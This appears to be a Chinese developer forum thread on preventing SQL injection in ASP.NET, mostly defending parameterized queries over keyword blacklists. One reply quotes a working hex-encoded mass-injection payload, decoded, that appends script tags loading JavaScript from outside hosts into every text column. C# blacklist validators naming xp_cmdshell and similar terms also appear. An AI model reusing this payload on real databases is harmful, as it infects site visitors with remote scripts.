能否给个具体的方法啊?最简单的方法就是参数化,转义就交给ado.net来完成了
解决方案 »
- 网页LOGO运行时不显示吗?在哪里能看见啊?
- CrystalReportViewer报错问题(在线等)
- WWWROOT中的东西怎么删除不掉?
- 关于c#序列化json字符串为对象的问题
- 用程序代码怎么创建acess数据表,或是acess数据库?
- 还是三楼楼长那个oa,公文传递部分,高分求解
- 改下简单的存储过程分页
- 请教水晶报表导出成word的问题
- 死活触发不了Repeater的itemcommand事件。怎么回事?请解惑!
- 查询数据库问题求救!!!!!!!!!!!!!!!!!!!!!!请进呀!!!
- gridview 导出excel文件,下载下来是aspx文件
- asp.net做的系统——操作多张表是否要用事务
@参数化,生成SQL最终必须是直接执行的,不能是EXEC执行。
不管是普通SQL还是存储过程,就算你用@参数,但是最终的SQL是拼接的,就必须用EXEC执行,这样就可以被注入。
凭什么用户输入的select就不能是一个正常的数据
参数化简单又安全,为啥非要用关键字替换???
当然参数化之后进行sql拼接的这种情况也真实存在,这种其实还是拼sql,这种情况下参数化毫无意义
用什么替换,像CSDN这种,你还能禁止别人发代码?
学习了
SqlCommand Cmd = new SqlCommand("Lv_SysConfig_Update",Conn);
Cmd.CommandType=CommandType.StoredProcedure;
Cmd.Parameters.Add("@BBSName", SqlDbType.NVarChar).Value =sysConfig.BBSName;
Cmd.Parameters.Add("@BBSLogo", SqlDbType.NVarChar).Value =sysConfig.BBSLogo;
Cmd.Parameters.Add("@Copyright", SqlDbType.NVarChar).Value ="LvBBS.Net";//sysConfig.Copyright;
Cmd.Parameters.Add("@IsOpen", SqlDbType.Bit).Value =sysConfig.IsOpen;
//Cmd.Parameters.Add("@BadWords", SqlDbType.NVarChar).Value =sysConfig.BadWords; Cmd.Parameters.Add("@AllTopicCount", SqlDbType.Int).Value =sysConfig.AllTopicCount;
Cmd.Parameters.Add("@AllReplyCount", SqlDbType.Int).Value =sysConfig.AllReplyCount;
Cmd.Parameters.Add("@UserCount", SqlDbType.Int).Value =sysConfig.UserCount;
Cmd.Parameters.Add("@TodayPostCount", SqlDbType.Int).Value =sysConfig.TodayPostCount;
Cmd.Parameters.Add("@MaxOnLine", SqlDbType.Int).Value =sysConfig.MaxOnline;
Cmd.Parameters.Add("@MaxOnLineDate", SqlDbType.DateTime).Value =sysConfig.MaxOnlineDate;
Cmd.Parameters.Add("@DefaultSkinName", SqlDbType.NVarChar).Value =sysConfig.@DefaultSkinName;
//Cmd.Parameters.Add("@NewUser", SqlDbType.NVarChar).Value =sysConfig.NewUser;
Cmd.Parameters.Add("@StringNameValues", SqlDbType.VarBinary,8000).Value = sysConfig.SerializeExtendedAttributes();
Cmd.Parameters.Add("@UpdateType", SqlDbType.Bit).Value =UpdateToday;
Conn.Open();
Cmd.ExecuteNonQuery();
Cmd.Dispose();
Conn.Close();
只要保证sql不和参数拼接,就能防止注入
使用EXEC SP_EXECUTESQL 执行参数化sql,而不是拼接sql就能防止Sql注入
ADO也是调用的SP_EXECUTESQL例如17楼的例子,如果被调用的存储过程中这么写就可以防止注入:
DECLARE @_Sql1 NVARCHAR(4000)='SELECT * FROM BBS WHERE BBSName=@BBSName';
EXEC SP_EXECUTESQL @_Sql1,N'@BBSName NVARCHAR(100)',@BBSName;
但是如果像这样写,照样可以注入:
DECLARE @_Sql2 NVARCHAR(4000)='SELECT * FROM BBS WHERE BBSName='''+@BBSName+''';
EXEC SP_EXECUTESQL @_Sql2;尽管如此,仍然不能说绝对不能注入,比如like子句中的通配符就是可以注入的,
更多详情参见MSDN:
SP_EXECUTESQL
SQL注入
人家直接用16进制注入的。注入以下代码dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72%20eXeC(@s);--就等于执行
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.daxia123.cn/cn.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
假如发一篇文章,讲解数据库代码的,你都给替换掉关键字了,人类看不懂,计算机也看不懂了。
需要确保text转换为int,这才符合t-sql语法。
用Parameters的话等于是程序把sql语句和参数分开传给数据库
不过还是被攻击过。
不过现在似乎都防住了!
楼主Google搜索一下 “360safe.cs”
相信一定可以解决你的问题。
{
bool ReturnValue = true; try
{
string value = Str; if (value == null)
{
return true;
} string pattern = @"'|xp_cmdshell|/add|select|count|insert|delete|drop|update|truncate|master|declare";
bool bl = Regex.IsMatch(value, pattern, RegexOptions.IgnoreCase);
if (bl)
{
ReturnValue = false;
}
}
catch
{
ReturnValue = false;
}
return ReturnValue; }
/// 分析用户请求是否正常
/// </summary>
/// <param name="Str">传入用户提交数据 </param>
/// <returns>返回是否含有SQL注入式攻击代码 </returns>
private bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
try
{
if (Str.Trim() != "")
{
string SqlStr = "exec |insert |select |delete |update |count |* |mid |master |truncate |char |declare";
string[] anySqlStr = SqlStr.Split('|');
foreach (string ss in anySqlStr)
{
if (Str.ToLower().IndexOf(ss.Trim()) >= 0)
{
ReturnValue = false;
break;
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}